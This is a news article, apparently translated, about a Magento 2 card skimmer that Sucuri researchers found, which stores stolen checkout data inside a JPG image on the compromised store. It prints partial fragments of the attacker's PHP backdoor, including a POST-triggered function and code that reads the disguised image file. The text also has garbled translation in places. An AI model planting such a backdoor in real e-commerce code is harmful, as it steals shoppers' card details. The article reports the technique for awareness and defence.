# Hackers hide stolen credit card data in JPG file

We all know that the cybercrime world is constantly moving, parallel and has a close relationship with the development of the internet in general. That is why new hacking techniques, more sophisticated phishing techniques, are constantly being introduced by cybercriminals.

International cybersecurity researchers have recently discovered a new method of stealthily stealing payment card data from compromised online stores that are quite new to **cybercriminals** . It can help reduce suspicious traffic and allow hackers to better hide themselves and avoid detection.

More specifically, in this new fraud technique, instead of sending stolen bank card information to a server controlled by himself, the hacker will choose to hide that information as a **JPG image file** and store it on its own. websites they hacked to steal this data - in a 'safest place' style.

Researchers from website security company Sucuri came across this fraud technique when investigating the hack of an online store running version 2 of the open-source Magento e-commerce platform.

In fact, incidents that follow the pattern of online stores being illegally hacked by hackers and stealing customer information are commonly known as Magecart attacks, and have been documented many years ago. In particular, cybercriminals will try to gain access to online stores by exploiting vulnerabilities or weaknesses in the platform, then using malicious code to steal data (usually bar card information). accounting) of customers on target platforms.

However, the newly discovered 'stealth' technique is very new. Sucuri experts found a PHP file on the compromised website that the hacker modified to load more malicious code by generating and calling the getAuthenticates function.

```
...
        public function getAuthenticates($request)
        {
        if(empty($request->getPostValue('Custom'.'Method')))
                return $this;
        $docroot = BP . "/";
        $sid = $request->getPostValue('Custom'.'Method');
        if($sid != 'init' && $sid != 'LnByg' && $sid != 'LnByd') return $this;
```

Essentially, this allows attackers to easily download information they stole as a JPG file without causing any warning during the download process. Simply put, this completely looks like a normal visitor is downloading an image from a website.

```
$docroot = BP . "/";
        $sid =
$request->getPostValue('Custom'.'Method');
        if($sid != 'init' && $sid != 'LnByg' && $sid !=
'LnByd') return $this;
        $fname =
$docroot.'pub/media/tmp/design/file/default_luma_logo.j
pg';
        try {
                if(!file_exists($fname)){
                $fhandle =
fopen($fname,'w');fclose($fhandle);
                }
                $fhandle = fopen($fname,'r');$content =
@fread($fhandle,filesize($fname));fclose($fhandle);
...
```

After analyzing the code, the researchers determined that the malicious code used the Magento framework to capture information from the checkout page provided through the Customer_ parameter. And if the customer provided the card data was logged in as the user, then this code also stole their email address.

The Sucuri team also said that almost all of the data sent on the payment page is included in the Customer_ parameter, including payment card details, phone number and postal address.


All of the above information can be used for direct credit card fraud by a hacker or by another party buying this data back. Or it can also be used to deploy larger, more targeted, phishing and spamming campaigns.

Overall, this approach is sophisticated enough that the security teams of ecommerce websites can miss it when scouring the system. However, the integrity control and website monitoring services are still fully able to detect changes like code modifications or newly added files. Here is the solution!